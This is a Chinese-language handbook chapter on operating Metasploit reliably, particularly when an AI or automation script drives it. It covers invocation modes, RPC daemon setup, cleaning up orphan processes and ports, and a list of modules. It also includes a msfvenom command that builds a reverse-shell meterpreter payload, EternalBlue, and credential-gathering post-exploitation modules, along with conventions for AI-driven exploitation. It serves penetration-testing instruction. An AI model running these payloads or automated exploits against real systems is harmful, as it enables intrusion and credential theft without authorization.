逆向工程实战手册 第 91 章

第 91 章 Metasploit 使用规范(MSF 协议与正确调用)

Metasploit(MSF)是最重要的利用框架,但它在"AI 调用/自动化"场景下很容易踩坑:孤儿进程、会话丢失、超时卡死。本章来自真实踩坑经验(msf-protocol):MSF 的三种正确调用模式、6 大常见错误、以及与 AI/自动化的集成规范。

📍 知识点地图 | 主题:MSF规范 | 前置:第63章 | 后续:— | 核心概念:三种模式、孤儿进程、RPC daemon

91.1 MSF 架构(先懂结构)

msfconsole(交互控制台)
msfrpcd(RPC daemon,服务方式)
msfvenom(载荷生成)
msfdb(数据库)

结构:
  模块(Modules): exploit / payload / post / auxiliary
  会话(Sessions): 成功的连接(meterpreter/shell)
  Resource 脚本: 批量命令

常见卡死原因(经验):
  □ msfconsole 是交互进程 → 长命令/等待输入会挂住
  □ session 依赖连接 → 网络断了会话没
  □ 孤儿 ruby 进程占资源

91.2 6 大常见错误(避坑清单)

1. 交互卡死: 直接跑 msfconsole 并等待 → 进程挂起
   → 用非交互模式/后台(91.3)

2. 孤儿进程: 任务超时后 ruby 进程残留占端口
   → 用 detach=true + 明确 kill

3. 会话丢失: 重连后 session 上下文没保存
   → 用 RPC daemon(会话由服务管理)

4. 端口占用: 上次监听器没释放
   → 先清理(91.4)

5. 无输出误判: 命令执行了但没回显 → 误判失败
   → 检查日志/数据库

6. 载荷不匹配: 架构/平台错(x86 vs x64)
   → 确认目标架构(file/checksec)

91.3 三种正确调用模式

模式 A:一次性命令执行(推荐 80% 场景)

# 非交互:一次性跑完就退出
msfconsole -q -x "use exploit/xxx; set RHOSTS target; run; exit -y"

# 或资源脚本
msfconsole -q -r script.rc

# 适用: 单次利用/测试,不保留会话

模式 B:RPC daemon(连接管理场景)

# Step 1: 先杀旧端口占用
taskkill /F /PID <msf_pid>  # 或 pkill -f msfrpcd

# Step 2: 启动 RPC daemon(detach=true 后台,不阻塞)
msfrpcd -U msf -P <pass> -f -a 127.0.0.1 -p 55553

# Step 3: 客户端连接(detach=false 保持会话)
# 之后所有客户端共享同一批 sessions!

# 适用: 需要跨请求保持会话/多客户端管理

模式 C:一次性后台运行(session 不需要保留)

# 后台执行 + 结果写文件
msfconsole -q -x "use ...; set ...; run -j; sleep 30; sessions -l" -o output.txt

# 适用: 结果只要输出,不需要交互

91.4 资源清理规范(避免孤儿进程)

# 1. 找到 msf 相关进程
tasklist | findstr ruby
ps aux | grep -E "msf|ruby"

# 2. 结束(按需求)
taskkill /F /T /PID <pid>    # /T: 连子进程一起杀(重要!)

# 3. 端口清理
netstat -ano | findstr 55553
taskkill /F /PID <listener_pid>

# 原则: 每次会话结束必须清理(AI 调用场景尤其重要)

91.5 MSF 与 AI/自动化的集成(本仓库场景)

AI 调用 MSF 的规范:
  □ 优先模式 A(一次性)——结果明确,无残留
  □ 需要会话 → 模式 B(RPC daemon)
  □ 每个任务独立端口/资源文件
  □ 任务结束强制清理(进程+端口)
  □ 超时处理: 后台运行 + 轮询结果(不阻塞等待)
  □ 输出落地: -o 写文件(避免日志丢失)

OOB 检测(Out-of-Band):
  □ 用 MSF 的 auxiliary 模块做带外验证(dns 回调等)
  □ 结果可程序化读取

91.6 MSF 常用模块速查(按场景)

# 信息收集
auxiliary/scanner/portscan/tcp
auxiliary/scanner/smb/smb_version
auxiliary/scanner/http/http_title

# 利用
exploit/windows/smb/ms17_010_eternalblue(经典)
exploit/multi/http/struts2_xxx(框架漏洞)

# 后渗透
post/multi/gather/credentials(凭据)
post/windows/gather/hashdump(哈希)
post/linux/gather/checkvm(虚拟机检测)

# 载荷生成(msfvenom)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x LPORT=4444 -f exe -o payload.exe

91.7 检查清单

□ 调用模式选择(A/B/C)
□ 端口清理(旧监听器)
□ 孤儿进程检查
□ 载荷架构匹配
□ 超时处理(后台+轮询)
□ 输出落地(-o)
□ 会话结束清理
□ 日志/结果检查

动手练习

  1. 用模式 A 对一个练习环境(Metasploitable)跑一次自动化利用(resource 脚本)。
  2. 搭 RPC daemon(模式 B),用两个客户端连接验证"共享会话"。
  3. 练习资源清理:制造一个孤儿 msf 进程,完整清理(进程树+端口)。
  4. 用 msfvenom 生成 3 种载荷(不同架构/格式),用 file 验证正确性。

深入阅读

  • 仓库:skills/pentest-tools/references/msf-protocol.md(MSF 调用规范全量)
  • 仓库:skills/pentest-tools/SKILL.md(Metasploit 工具链)
  • 仓库:skills/attack-chain/SKILL.md(MSF 在攻击链中的位置)
  • 仓库:skills/pwn-chain/(exploit 工程化衔接)